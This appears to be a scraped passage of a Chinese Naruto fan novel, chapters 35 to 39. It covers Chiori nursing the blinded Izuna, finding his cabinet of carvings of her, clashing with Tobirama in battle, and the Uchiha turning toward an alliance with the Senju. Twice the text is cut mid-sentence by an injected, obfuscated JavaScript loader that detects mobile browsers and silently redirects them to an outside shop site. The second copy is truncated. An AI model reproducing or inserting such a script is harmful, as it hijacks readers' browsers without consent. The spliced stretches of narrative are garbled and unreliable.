深褐色的药汁光闻着就让人难以想象它们在被熬煮时经历了什么,也不敢想象喝药的人的味蕾将会面临什么。 泉奈的脸僵了一下,还是笑着说道:“千织,你今天辛苦了,先回去吧,我自己会喝药的。而且哥哥还在这呢。” 另一边坐着等检查的族长立刻冷笑道:“我等会儿就走。” 语气中很有一股发泄不满的味道。 “……”泉奈张了张唇,我头一回发现他居然会有这么无力的表情。 为了避免他再找借口,我立刻道:“你不会还怕吃药吧?不会还要准备一块糖压味道吧?” 我承认我今天也是被他那出给气到了。 怕喝药当然不可能,但他估计是嫌弃药的味道,所以就别想吃东西压味了! 泉奈立刻接过碗:“怎么可能,你想多了,千织。” 一口闷完药的泉奈面部的肌肉微微抽动了一下,但还是一点异样神情都没露出:“好了吧?” 我看眼空荡荡的药碗,点头:“嗯,明天我也来,顺便替你换药。” 泉奈闻言失色:“什么?!” 我挑了挑眉:“不行?万一你不喝药怎么办?” 泉奈反而沉默了。 他微微侧过头,刚才还好好的,突然表露出一种拒人于千里之外的疏离。 “我没有那么幼稚,你不用来的,千织,”他似乎又觉得这么说不太有说服力,便继续加码,“而且接下来有很多要忙的事……” 我眯起眼看他,打断道:“本来你的族务我就要负责一部分,而且你眼睛的事现在也不能传出去,我直接来这里处理正好。” 我注意到泉奈在隐隐约约地回避我的视线。 “更何况,我也有过受伤狼狈的时候,那时你还来看我呢。你不用这么……太过在意我的目光,”我不知道该说什么来安慰失去了引以为傲的眼睛的他,只能笨拙地拍了拍他的手,“之后我们可以先试试换一双普通的眼睛,总会有办法恢复光明的。” “而且,与其被其他人看到,我至少是个更好的选择吧?” 我其实有注意到的,一开始来的时候背对着我,后来隐隐回避着我……他不想将自己狼狈的一面现于人前。 泉奈倏地攥紧了自己的手,放在自己腿上。 “你不知道。”泉奈缓缓说道,语气忍耐,“和那些无关,千织。” 36.木雕 今年的战争雇佣不似去年,一开始是一些局部地区的小摩擦。 来自附近领主的雇佣一道道送来,所处理的基本是一些小争端。饶是如此,战争的端倪已经初现了。 族长带着部下出去做了好几次任务,还要安排备战事宜,泉奈又需要养伤,族中的大部分族务就落到了我的手里。 头回接这么大的工作量,而且不少族务是以往我没涉及过的机密文件,我每天下午就把不确定的文书收集到一起,然后搬到泉奈那里挨个问。 第一次这么干的时候,躺在病床上默默养伤的泉奈强撑着坐起身,听了我的来意后无语了半晌,才叹息道:“千织,你真的一点都不记恨我啊。” “谁说不记恨的,”我看了眼堆在桌上的一大摞文件,冷冷笑道,“原本该做工作的人连个交接都没有就离职了,两个人的工作一个人干,你猜我会不会不满。” 我有理由怀疑原著的族长在泉奈去世后越走越偏也有工作量激增的原因——我当然知道他们兄弟情深,但是原谅我吧,我的工作量已经大到分/身现在还在外面处理下次战场上的小队分配问题。 以前看同人,别家主角的分/身术是用来各种play的,怎么轮到我就是大结局后的鸣人社畜剧本了。 泉奈哑口无言,低声说了句抱歉。 他的道歉在我听来刺耳极了。我盯着他看了好一会儿,心底转过不少话却终究没说出口。忍者的敏锐即使在他失明后也没有消退,甚至代偿性地有了提高。 泉奈不太适应地侧过脸避开我的视线,起身坐到我身边,一身的白衣显得他病容更加憔悴。 使用万花筒有几率诱发血继病,大部分极阴的瞳力随着万花筒的剥离离开了泉奈的身体,是件好事也是件坏事。 好的是不用再顾虑血继病,坏的是剩下的那部分瞳力失去了容纳它们的载体,瞳力失去写轮眼的制约后对他的身体造成了极大的破坏。 乱世不缺死人,先前药师去乱葬岗里翻了一具尸体,提取泉奈的小部分瞳力到一双普通人的眼睛中,很遗憾,那双眼睛直接炸开了。 另寻一双眼睛移植到泉奈眼中的计划暂时搁浅。 至于族长的眼睛,在族长换上泉奈的眼睛融合为永恒万花筒的那一刻,原本残留在族长眼中的瞳力便自发回到了族长体内,那双换下来的眼睛在失去瞳力后也彻底无法使用了。 本来瞳力和写轮眼之间就是共生的状态。 “在你熟练前,我会好好……和你交接这些的。辛苦你了,千织。”泉奈垂下头,手指抚上了桌案上的书卷,苦笑了一声。 我大概就是吃软不吃硬的人,一见泉奈这样,就一句重话都说不出来,只能气闷地埋首于族务之中。 “你能养好病然后回来自己处理这些东西就再好不过了……总有其他办法的。到时候我要休假,你得把这些工作量给我补回来。”事实上是,如果泉奈的眼睛真的没办法恢复,那么就没有这一天。 他不可能找个人给他念这些文书,将文书的处理假手他人——族里有资格处理这些族务的人都至少是三勾玉了,还有其他工作要做,而且得担得起泉奈足够的信任才行。 族里找不出这样的人。 泉奈也没说我的说法几乎和痴人说梦一样,淡淡地答了声好。 ——还是笑着说的。 都这样了他还笑得出来,我看得心烦,扯过一卷文书直接开始念。 这卷文书和宇智波与羽衣一族的同盟有关。我已经写好了安排计划,但我之前又没和羽衣打过交道,这么安排的合理性有待考量,所以还是要找泉奈确认,往后上手了就可以自己直接处理。 这么过了好几天,这天族务比往常多了一大截,家忍准时过来送药时,族务还没处理完,我们正说着尾兽怎么处理的问题。 我就先盯着他喝药。 虽然感觉我这么想有点不太好,但不可否认的是,看着泉奈一脸抗拒却不得不喝药的时候,我内心就会生出一种“谁让你之前非要这么干”的不妙想法……好吧,是很不好。 我都觉得我有点扭曲了。 不知道我变成这样该怪谁,那就怪一下千手扉间好了,反正他身上的锅那么多,不多我扣给他的这一顶。 之后就是对他眼部伤口的护理,为了保住之后复明的希望,每天喝药后族里的药师都会确认一遍他眼部经络的情况并进行护理——虽然有治疗环节,但基本没什么用。 泉奈的外伤药和用于眼睛的药都收在他房中的柜子里,药师又不敢去翻他的柜子,每次都是泉奈自己走过去拿。 今天工作量本来就多,和千手大规模交战的雇佣委托在昨天送到了宇智波,大量的战前准备工作直接压了下来。和我一起搞了一整天族务的泉奈基本都没休息过,看起来状态很差。 他眼睛又看不见,虽然是在自己的房间里走,想要走得准却得好好记清房中物品的所有位置。之前我嫌弃桌案的位置阳光太刺眼,稍微往里挪了些,没等我提醒,他就照例坐到了原来的位置,在触摸桌子时摸了个空。 他又惯是不愿在外人前示弱的性格,当时只是愣了一下,手轻握成拳放在腿上,正襟危坐,像是什么都没发生一样问什么时候开始。 当天晚上我直接失眠,大半夜了还在问自己干嘛挪桌子,不就是纸张有些反光吗! 见他现在这幅状态还要自己去拿药,以他的性格就算现在身体不适估计也会强忍,我直接按住他的肩膀没让他起来:“我去拿,你就在这坐着。” 我居然还有余力下意识在心里补上一句“不要走动”,随即反应过来对已经过世的田岛族长道了个没什么诚意的歉。 “等一下!” 我走到柜子前,记得之前他是在第二格拿的药,正要打开,泉奈的反应却激动得超乎常理—— 哐当一声。 他几乎是瞬身到我身旁,想要截住已经将手放在抽屉上的我继续动作。 我见他反应如此,下意识收回手,失明对他的影响太大,我们的手交错着擦了过去,再加上他似乎打定了主意不让我打开柜子,用上了不小的力道。 本来就只是顺手放小物件的柜子直接顺着泉奈的力道侧翻过去,柜子里的东西撒了满地。 眼前的一幕对我来说冲击力过大了。 我震惊地呆在原地,回过神的瞬间反应过来,让药师先出去。 已经被族长下过符咒的药师反应更快,早在柜子里的东西散落时就转过了身,假装自己什么都不知道,此刻听到我的话立刻如蒙大赦地退了出去,还把门合上了。 “我去正厅等候,您需要时叫我。”药师留下这么一句话就跑了。 我:……倒也不必这么贴心。 泉奈面无血色站在原地,失去眼睛的他自那天之后就一直闭着眼——至少在我面前是这样的。此刻他漆黑的眼睫颤抖着,一双眼睛欲睁不睁。 落到地上的东西还在缓慢的滚动着,发出骨碌碌的声音,然后在碰到我时缓缓地停在了我的脚边。 我一垂下头,就和那张和我一模一样、每天都能在镜子里见到的脸打了个照面。 说真的,还挺恐怖的。 泉奈侧倒的柜子里倾倒出一堆东西,有正常的,也有明显不正常的。 正常的是那些药罐、一些久远的纸张、还有一些零碎的小物件——比如一把小刀、一些剩余没用的木料、几个卷轴、一些猫咪玩具等。 不正常的东西那可就多了。 好多的木雕人像,散了满地,密密麻麻得让人毛骨悚然。 最主要的是,这些人像除了一尊有些眼熟的,基本上都是同一张脸——如果不是这个原因,我都还能调侃一句泉奈放现代高低一个手办爱好者,收集这么多……不行,完全开脱不下去了! 我木着脸蹲下身捡起脚边的那尊木雕,这是穿着族服的、成年后的我。 “我”抱着一叠卷轴,微微回头,脸上是我都不知道自己还会露出的柔和笑容。 雕工精湛,还给抛了光。就算是当年不小心因为雕工在都城出了把名的我,也最多就做到这个程度了。 收回前言,泉奈放现代高低一个手工博主。 我沉默地把它放到一边,不远处是另一个“我”。 这个“我”穿着常服,连衣服花纹的鱼都栩栩如生,头上簪子的流苏在刚才摔坏了。 这是当年夏日祭的我,正微微仰起头,似乎在看什么。 但也有几块废料。 上面是十二三岁的我,不太像我,雕工也没有其他的好。 它们的旁边是那尊很眼熟的木雕像。 我走过去拾起它,刚好它还压着一张散落的纸,便一起捡了起来。 “……” 当然眼熟,那是小时候的泉奈。 我雕的,我送的,在我都快忘了这件事的时候,这尊雕像再度出现在了我面前。 要是周围没有那么多数量不正常的我的雕像,大概还是个挺让人感动的场面。 这么多雕像,搞得现在的场面有点像邪神祭祀现场窝点。 ……或许只是我当初送了他雕像后泉奈有了新的兴趣,毕竟后来他还送了我不少自己雕的木雕。 我试图说服自己。 捡起的那张纸背面有字。 我翻过面,看到上面的内容深深吸了一口气。 是我当年回的信——如果是回的泉奈,那也正常。 但不是。 这封信是当初我还在据点时,按照规定写给还活着的田岛族长的情况汇报书。 其它没看的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573223|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信纸也不必再看。 再看看其他东西,显得有些破旧的猫咪玩具看起来也有些眼熟,装药的罐子也很眼熟……什么东西看着都很眼熟。 现在的局面,不是感动不感动的问题,总之我是有点不敢动,浑身起鸡皮疙瘩那种。 自从我独自完成过任务后,我还没这么害怕过,当初面对千手柱间时我都没这么害怕。 我才发现这么熟悉的人似乎还有另一面,即使我喜欢他,但这个发现依旧让人惊惧。 房间里很安静,只有我们轻得近乎察觉不到的呼吸声。 刚才我在房间里捡起掉落物品时,泉奈一言不发,也没有再做出制止的举动。 “……这些,是怎么回事?”我握着手上那尊当初送给泉奈的木雕,尽量语气平和地问他。 我盯着少年泉奈的雕像,仿佛自己在等待木雕开口。 到底是哪里出了问题? 怎么会变成现在的情况? 随便来个活着的生物也好,能不能让今天的事跟没发生一样? 又旅呢,虽然是尾兽,但也是那么大一只猫,此刻就该按照猫的习性出来捣乱了啊! 潘多拉的盒子放出了灾难,宇智波泉奈的柜子放出了什么啊! 我上辈子已经不太清晰的记忆告诉我,上一个给同一个人搞这么多木雕的是个久病的探花——宇智波泉奈你也不姓李吧! 泉奈的声音在耳边响起,我惊觉他不知道什么时候已经走到了我的身边。 他抬手覆上了我手都那一瞬间,我的心脏都似乎停跳了一拍,泉奈轻轻拂过雕像时手指微顿,语气同样平和。 “如你所见,千织,”泉奈缓声说道,“这只是当初给你送木雕的时候,用于练习的练习作品。” 他眉眼低垂着:“人像不能轻易损毁,有不好的寓意,所以我才把这些雕像留下来了,你不用担心。” 我:…… “是、是吗?”为什么不说实话啊,这样我反而更不安了啊! 那时候雕的像,能雕到成年后的我吗! 其它的不说,我们一起过夏日祭时,都离他送我木雕时过了多久啊! 仿佛察觉到我困惑,泉奈继续道:“后来为了不手生,所以我会时不时练习一下……刚好你比较熟悉。” “这样啊。”这个理由勉强可以说服我,我就算不信也得信,不然背后代表着的信息也太恐怖了些! 这么说呢,今天这事对我的冲击不亚于我发现我同桌的真实面目是吉〇吉影——同桌对不起,稍微败坏了一下你的名声。 我曾经的同桌只是个平平无奇的高中生,我连对方叫什么长什么样都忘了。 “你在这里等一下,柜子倒了,我收一下,再让药师来给你看眼睛。”我不再追究下去,想要赶紧结束这件事。 泉奈轻轻点头:“抱歉,给你添麻烦了。” “……” 之前泉奈示弱的时候,我只会觉得他变得不像他,想起以前的他,然后生着不知道从哪里来的闷气。 现在的话……大概是刚才那幕太过有冲击性,我现在还有些后怕。 至于生气,完全生不起来。 飞快地收拾好眼前的这堆烂摊子,那些木雕我都不敢多看,全部塞进抽屉中,药也拿出来放到桌案上,最后我拿起今天带来的族务文书。 “今天也耽误了你太多时间……剩下的内容也不多了,都已经处理好了,等会儿我再去问问斑大人确认一下,你记得好好休息。第二格的抽屉是空的,其它层我不知道你放了些什么就随便放的……刀放在上数第一格里,其它的你大概需要自己去记,我现在去找药师。”说完这些,我再度环顾了一圈他的房间,应该没有需要特别交代的东西了。 泉奈应了声好。 “千织。”在我即将出门前,他又叫住我。 我回头看他。 夕阳的光昏惨惨的,斜照入室。泉奈站在房中,表情平静。 不似以往总是温和地笑,也不似在敌人面前一副倨傲的表情。 “我这样,很可怕对吧?”他的声音淡淡的。 我一时之间不知道该怎么回他。 不可否认,我刚才是真的被吓到了,寒毛倒竖的那种。 泉奈没有听见我回答,也没有追问,而是问了另一个问题:“你今后,还会回……还会来看我吗?” “你知道的,”我压住险些脱口而出的、那仿佛理所当然的答案,轻声道,“再过两天就要出发了,这次我在主战场。” 想到这件事,泉奈那一柜子和我有关的东西似乎也不是什么大事了。 和平遥遥无期,我说不定哪天就死在战场上了。 所以这件事,其实也没什么大不了的。 ……真的吗? 37.木遁 泉奈出事的消息被压得很死,对外宣称是他去出一个秘密任务了。 为此族长还特意变成了泉奈的样子出了趟门。 即便如此,大部队出发的时候,我站在往日泉奈的位置后,族中还是对泉奈的缺席起了疑虑。 这是自然的事,缺席这么重要的事,恐怕私底下已经有人开始猜测他出事了。 只是战争当前,即便有人猜到了,也不敢将这种事拿出来讨论。 火核知道我最近去泉奈那里去得勤,对这个说法更是不信,而且他也听说了之前泉奈那里去了药师的消息。 只是碍于形式,他没有来向我打听泉奈的情况。 饶是如此,在夜巡交班的时候,他还是问了我我一句没问题吗。 “什么?”我一时半会儿没有转过弯。 “千手扉间,那是个难缠的对手。”火核眉头紧皱,欲言又止。 我的位置无疑表明了之后我会对上千手扉间。 我之前又很少正面对敌,上一次上战场因为要带小队,所以面对的也不是千手的主力,加之除了族长两兄弟没人知道我有万花筒,火核会担忧也是难免的。 我安慰地冲他笑了笑,沉吟后道:“放心吧,哥哥。如果我没有这个实力,斑大人不会把我放在这个位置的。” 这句话虽然起了些安慰作用,但火核还是忧心忡忡的样子。 这让我不禁担心起他会因此在战场上分心。 “再不济,我的幻术还能救命呢。”我补充了一句。 当初我伤成那样都被从鬼门关拉了回来,常世的说服力实在很强,火核将信将疑地离开。 又旅一直跟在我身边,等火核和同他一起巡夜的族人离开后,她好奇地问了一句:“这才是你哥哥啊。” “……闭嘴。” 她这话让我不得不想起上次的乌龙,继而联想起泉奈和那满柜子的东西。 我都尽量不去想这件事了,可恶。 蓝色的尾兽毫不在意地甩了下尾巴,纳闷道:“你最近生气怎么越来越没苗头了,和泉奈又吵架了?” “……我们什么时候吵过架?”成年后的我们明明一直都很克制自己的情绪吧? 又旅:“也是,你们通常是玩冷战那一套,离婚都离得安安静静。” “?”不是,这只尾兽这段时间在族里都学了些什么东西啊? 而且,我和泉奈之间什么时候又搞过冷战啊! 又旅是屈从于写轮眼才待在宇智波的尾兽,泉奈此刻没了眼睛,留她在族地,其他人不住她,因此这次出来得把她也带上。 带又旅出来前我和她约法三章,不需要她去为宇智波做些什么,但她也别在战场上捣乱。 否则,就算她投靠了千手,我也会想办法报复她。 又旅对此的评价是我们宇智波不愧是因陀罗的后人,对阿修罗的后人们恨得深沉。 这次千手在他们的雇主要求下和猿飞一族一同迎战我们,我们这边的盟友是羽衣一族。 几年前我在据点做任务的时候抢过羽衣一族护送的情报。虽然当时隐藏了身份,但这次两族联手让我感官微妙,这种忍族外交上的事交给泉奈更为合适。 羽衣多年前因为一次错误的预判元气大伤,在和我们沟通时姿态一直放得很低。 联合军议上他们试探性地得知族长的目标依旧是千手族长后松了口气,主动提出由羽衣一族去应对猿飞一族的进攻。 千手和猿飞的实力同样不对等。 在场的族人都看出了他们的打算,不过因为我们和千手之间根深蒂固的矛盾,大家都没指出来罢了。 等到散会的时候,羽衣一族的少主追了出来。 “千织大人,”他叫住我,面上很是恭谨,“会上没见到泉奈大人,我们有些事想要请教泉奈大人,请问他什么时候能回来?” 几年前我从羽衣一族手里劫持的情报就是从他手里夺过来的。 看来泉奈不在的事还是引起了羽衣一族的不安。 所以我挺讨厌这种联合作战的。 本来就是各有心思的忍族凑在一起,迎敌的同时还得提防盟友会不会背刺自己。 “你问错人了吧,羽衣大人?”我冷笑着看着他,“我和泉奈大人又没有什么关系,又怎么能够知道他的行程?” 感谢之前的离婚,至少我现在可以假装我和泉奈不和……我们好像本来也谈不上和不和? 打发走了羽衣的人,我始终有些不安,又找到宇智波真生让他注意一下羽衣的动向。 他先是愣了一下,又有些不确定:“多年前我们和羽衣有过合作。” 但那也是很多年前的事了。 细算下来,当年我那个拦截羽衣情报的任务还间接导致了羽衣如今的颓势呢。 我能理解宇智波真生的想法,羽衣一族的姿态放得实在太低了。 他们在听到族长要和千手族长对阵时脸上的惊喜掩都掩不住。 实在很难想到他们会在暗中做什么小动作。 但防备着总比什么准备都没有要好。 第二天我们对阵千手,今年春季雨水不丰,入春后天气一日比一日干燥。 千手扉间在第一时间就注意到泉奈不在,他下意识地将目光投注在了族长身上。 我在思考要不要尝试偷袭。 族长对千手扉间冒犯到注视毫不在意,反倒是千手族长脸色微变,将他弟弟赶出了他和族长的交战范围。 看来偷袭用不上了。 族长见我迟迟未动,估计也猜到我拿他当诱饵的意图,也抽空警惕地看了我一眼。 “……”我假装自己没接收到他警告的意图,默默拔/出刀。 本来千手扉间插不进他们两人的战斗我就会出手,不然按我哥在千手的仇恨值,千手扉间估计转头就要去捞我哥的人头。 如果侥幸不挑我哥……其他族人也挺难在他手底下撑住的。 忍刀相接的瞬间,我的虎口被震得发痛,差点骂出声。 我本来就是适合暗杀流的灵敏性忍者,正面遇上这种大开大合的力量型忍者本来就吃亏,但是千手扉间的力道还是超出了我的预料。 “宇智波千织?”他估计是从他哥那里听过我的名字,提防着我的写轮眼,头都没抬,避开我的视线。 虽然我的常世不需要目光相接就能发动,但是显然现在还不到暴露万花筒的阶段。 底牌越早暴露,就越被针对性地研究。 和这种力量型的忍者——或者说对我 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我仍不禁因此分神,原本刺向千手扉间的刀不禁一顿,霎时被千手扉间抢得机会 锋利的长刀自头顶破空劈下,我来不及变招,常世在瞬间发动,数根藤蔓破土而出,在拦住千手扉间刀的同时也向千手扉间袭去。 我趁机与千手扉间拉开距离,双手结印—— “大哥?!”千手扉间下意识地看向另一边的战场,脱口而出的一句话却让我愣在了原地。 “不对,你会木遁?”千手扉间紧接着发现藤蔓的出现和另一边正在和族长打生打死的千手族长无关,皱着眉看向我,又问道。 “……” 大概是因为当初千手族长那手木遁对我的影响太过深刻,我用常世应急时很爱学他那套,不得不说那真的很方便。 但这玩意确实不是木遁。 眼看着千手扉间的表情越发微妙,我脸色发青:“我和你们千手没关系。” 等等,追溯源头,千手和宇智波的祖先…… 不不不,宇智波千织,不能再想下去了! 然而千手扉间并不想轻松揭过这个话题:“写轮眼没办法复制血继限界。” 废话,我当然知道。 你在说这些话的时候先看一眼我的写轮眼不行吗? 眼看着话题恐怕会滑向某个可怕的深渊,我不再多言,直接开始结印。 千手扉间见沟通无效,自然也不可能继续纠缠,冷着脸用忍术应对我的火遁。 休战撤退的时候,我后知后觉,我大可用最简单的一个理由来反驳我会木遁这件事。 ——我没结印啊!!! 等一下,我用常世的时候刚好也在结印? 算了,不想了,反正我和他们千手一点关系也没有。 这种心态在我的部下到我面前旁敲侧击问我是不是会木遁的时候彻底崩了。 不是,千手扉间就算了,你们也来问这种问题,我真的要怀疑你们是假的宇智波了! “是幻术……与其操心这些有的没的,今天白天羽衣是怎么回事查清楚了吗?”我咬牙切齿地问他们。 38.提出 今天在战场上,因为羽衣未信守承诺拦住猿飞一族,族里的损失比预估要大。 不仅如此,被安排在后方和奇袭的小队也受到了不同程度的袭击。 上一次战争中和千手一族所达成的不成文的不杀年幼忍者的默契也被打破。 医疗处挤满了伤员,惠理沙额上缠了纱布,正站在营帐外走神。 我是来拿伤药的,见到她待在外面,便问她怎么在这里。 惠理沙迟缓地回过神,看向我时表情呆呆的,她轻轻咬了下唇,叫了我一声。 她上前走了几步,抬起手想要拉住我的袖子,却又在此之前放下了手。 “……千织大人,凉真、”惠理沙的眼神有些茫然,却在说起宇智波凉真的名字时不禁停顿了一下,“凉真死掉啦。” 她的眼睛里没有仇恨,也没有悲伤,反而充斥着一种无法理解什么事物的不解。 还没有理解同伴的死亡。 还没有理解自己的难过。 “他为什么会死掉呢,千织大人?”惠理沙继续问道,“我也会死吗?” 之前烤年糕时说的话竟然真的成了真。 我伸手抱住她,轻轻拍着她的背:“我不知道,但是,要尽力活下去,惠理沙。” 惠理沙依旧没什么反应。 送惠理沙回了她的小队,我这才回去上药。 中途营地里起了些骚动,是羽衣一族的人来了。 我赶过去的时候,羽衣的人正在请罪,说起白日的战况是因为他们中了猿飞一族的调虎离山之计才被突破了防御。 “原来是这样,今天在战场上只看见了猿飞的人,我还以为羽衣已经被灭族了,看见几位还活着,真是有些可惜。” 听了他们的辩解,从见了惠理沙后一直憋着的气像是找到了个宣泄口一样。 被突破防御是一回事,但羽衣一族可是一点补救都没做。 要不是族里提前做了准备,意外发生时族人们及时做了应对,损伤只会更为惨重。 羽衣族长闻言一僵,而后吹胡子瞪眼地看着我:“你有什么资格——” 他在我露出的三勾玉写轮眼下猛地闭上了嘴,立刻转头看向族长,生怕慢一秒就中了我的幻术。 “斑大人,您就如此纵容部下吗!”他控诉道。 族长看向我,用着超出平日语气变动的幅度发出疑惑的声音:“我有在纵容你吗?” 我还没回答,斑的脸色变得冷酷起来,漠然地看着羽衣族长:“我纵容自己的部下,还需要你来同意吗?” 羽衣族长勃然色变:“您纵容部下这么侮辱我,难道是想撕毁结盟吗?!” “……”人在无语的时候真的会突然笑出声。 你们都摸鱼成这样了,还觉得队友会再三挽留你吗? 质问我们前,请先解释一下为什么场上一个羽衣都没有的问题。 请罪有用的话,先施个轮回天生之术复活我们因此战亡的族人看看实力。 不会以为鞠个躬道个歉就有用了吧? 另一边的火核语气平淡地代替族长回答:“我们的态度已经很明显了,羽衣大人。 “虽然目标相同,但宇智波和羽衣,或许更适合各自为战。” 羽衣族长带着人怒气冲冲地离开后,其他族人也陆陆续续退下,准备第二天即将到来的战斗。我也准备跟着离开时,族长叫我留下,将一卷卷轴扔给我。 “看看。”族长说这话时语气十分微妙。 我不解地打开卷轴,看了下去。 哦,老样子,千手族长送来的停战修好书。 继续往下看—— 我缓缓抬起头,迷惑地看着好整以暇等我反应的族长。 “……这话您不会信吧?”千手柱间的信我实在看不下去了,没看完就卷好放回到族长的桌案上。 这玩意儿前面写的都是老一套:和族长回忆往昔、为两族交战的事实痛心疾首、展望未来结盟后的美好时光。 多看几次这个套路我都会背了,偏偏同样的内容千手柱间每次都能写出不同花来。 不正常的是这次单独多出来的内容。 大概是千手扉间回去把我的事又和千手柱间说了吧——当然也有可能是在战场的时候他注意到我们这边发生的事——总之,他还在信里说族长的族妹似乎会木遁,四舍五入千手和宇智波就是一家人,大家为什么不能和平地坐下来谈谈呢? 不知道的人还以为千手族长是在质问我们怎么搞到了千手特有的木遁血继的。 反正这段话如果是我们宇智波写的,那十有八九就是在阴阳。 但这话是千手柱间写的……搞不好这人是真的这么想。 不过族长知道这是我的万花筒能力,他给我看这个也不知道是什么意思…… 族长对我笑了一下:“你可以是。” 我愣住了。 我:“?” 等一下等一下,我的耳朵刚才似乎出了问题,听漏了好长一段话。 族长刚才应该说的是“你不可以是”而不是“可以是”吧?! “我需要再考虑一段时间,斑大人,”其实我明白这么做的意义,但是知道一回事,能不能做又是一回事,“我的父母会因此受到影响吗?” 宇智波和千手大了这么多年,突然要结盟,总得有些说服力大的理由和证据。 如果宇智波也突然出现了一个木遁来证明两族的关系系出同源,关系远比其他忍族亲近,那也不是不行。 但是族内也知道我这是幻术啊…… 我想起今天来向我打听我这是不是木遁的族人,突然有些不确定起来。 ……不会吧? 不再去猜想族人们可怕的脑洞,我继续补充:“更何况,千手也可以理解为我们窃取了木遁。” “木遁要是这么好窃取,这么多年也不会只有柱间会了。”族长嗤笑道。 还真是。 要是随随便便移植点木遁细胞就能成功,千手现在早就一排排的木遁使了。 话说回来,就算能向两族证明宇智波和千手血脉上有联系,两族打了这么多年,真的能化解仇怨吗? 怀着这样的忧虑重新回到战场上后,我都不太敢随便开常世,免得到时候和计划相悖。但不用万花筒,还是得和千手扉间天天对阵,这家伙作为敌人真的是个很讨厌的人,攻击手段层出不穷,我算是明白木叶时期的封印之书上都封印着什么玩意了。 封印得好,最好全都给千手扉间禁了! 我简直不敢想象泉奈每次和千手扉间打的时候有多窝火。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627667|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >反正我打到后面后已经无师自通在战场上放垃圾话了。 难怪组队打游戏还得掌握骂人技能,这下我真的悟了。 唯一一个好消息:写轮眼可以复制忍术。 虽然复制了对我也没什么用就是了,别人的术,用起来终究没有旁人熟练。有时间练习掌握都还好,但是在面对有能力杀了自己的敌人时,还是少用。 更何况作为术的开发者,千手扉间对它们弱点的了解肯定比我清楚,我要真用了他的术,说不定就稀里糊涂领盒饭去了。 但变化也不是没有。 随着泉奈迟迟未完成“任务”归队,泉奈出事的消息终于瞒不住了。但这时候我已经能够很稳定地在战场上拖住千手扉间,倒也没有出什么大乱子。 倒是有人旁敲侧击来打听过泉奈的消息,全被我用去问族长的由头打发走了。 战争结束的时候,正值夏末的八月。 踏上归程时我一瞬间有些恍惚,那时候泉奈的眼睛还好好的。也就一年时间,什么都变了。 “斑大人,请如实告诉我们泉奈大人的下落。”战争结束后的第一个族会,泉奈的下落终于避无可避地被放到了明面上来讨论。 泉奈毕竟是族中明面上的两个万花筒之一,身份是族长副手,同时也是重要战力。无论从什么角度看都不应该轻轻揭过泉奈失踪的话题。 族会上面对族人们步步紧逼的质问,族长本不欲回答,族会的门外却突然传来了泉奈的声音。 “你们不必这么逼问斑哥,我没有出现是因为自己的问题。”和室大门被推开,泉奈站在门口,一身正式的族服,被满脸绝望的药师搀扶着,双目无神地面对着族会中的众人。 在场所有人都注意到了他眼睛的异常。 也包括我。 我震惊地看着泉奈,下意识瞥了眼族长。族长的震惊不亚于我,虽然没有什么大幅度的表情变动,但双目仍微微睁大。 之前我们尝试过,普通人的眼睛承受不了泉奈的瞳力,连移植过去都做不到。 他现在的眼睛又是怎么回事?! 泉奈松开药师的手,在这条无比熟悉的路上走得半点犹豫也没有,坦然自若地在属于自己的位置上落座。 “如各位所见,我失明了。”泉奈说出这话的时候,一点可惜难过的语气都没有,平静得如同在说一个毫不相干的人。 “万花筒在开眼时有几率诱发血继病,最终使万花筒失明,这也是我缺席的原因。” 不知道从哪里响起了一个微弱的声音:“……那族长的眼睛呢?” “药师已经看过了,斑哥的万花筒没有问题,”泉奈的回答十分流畅,完全撇开了换眼的事,而后他微微顿住,半晌才道,“但斑哥牵制住千手柱间已是不易,近年来千手柱间多次提议结盟,现在看来或许是一件好事。” 言下之意不言而喻。 室内一片寂静。 泉奈曾是族中最强硬的主战派。 面上一丝血色都没有的青年忍者微微垂眸,忍着身体的不适,接受着四面八方投来的审视。 一如既往的骄傲,也一如既往的逞强。 想要结盟,总要有一个人背负着众人评判的目光,率先提出来。 泉奈选择他自己来做这个可能会被骂的人。 39.双陆 族会结束后,我拉着药师就往泉奈那边走。 其他族人见势不妙,走得飞快。 “泉奈的眼睛怎么回事?”族长问药师。 药师一脸生无可恋,说泉奈新装上的眼睛是之前去世族人的,这双眼睛几乎在安上去的瞬间就因泉奈的瞳力失明。并且,泉奈的瞳力一直在这双不适配的眼睛里肆虐,极尽破坏。 只听描述就知道这得有多痛。 药师赶紧在命令下将这双眼睛取下来。 族长忍着怒气:“泉奈,我能处理这些事。” “哥哥,我不能让你因为我背上骂名。”泉奈这么说道。 身为二首领和族长弟弟的泉奈眼睛无故失踪,族长又没有类似报仇的积极举动,总会传出一些流言蜚语来。 比如族长夺取了亲弟弟的眼睛——类似这样的传言。 原著中也一直有斑夺走了弟弟泉奈眼睛的谣言。 族长也动了真怒:“其他人怎么说和我有什么关系!” 泉奈沉默了一瞬,也似爆发了一般,扬声道:“可我在意,弟弟就是为了辅佐兄长而生的,怎么可以给兄长添麻烦!” “辉去世的事和你无关!你根本不用这么逼迫自己!” “怎么无关!如果不是为了回来救我,哥哥也不会死!” “作为兄长,有义务保护自己的弟弟。辉会死,也是因为我没有及时赶到!” 眼看着两人竟然真的吵了起来,药师把泉奈的眼睛取下来就利落地跑了。 我看着这对突然因为陈年旧事吵起来的兄弟,目瞪口呆。 还能这么内耗? 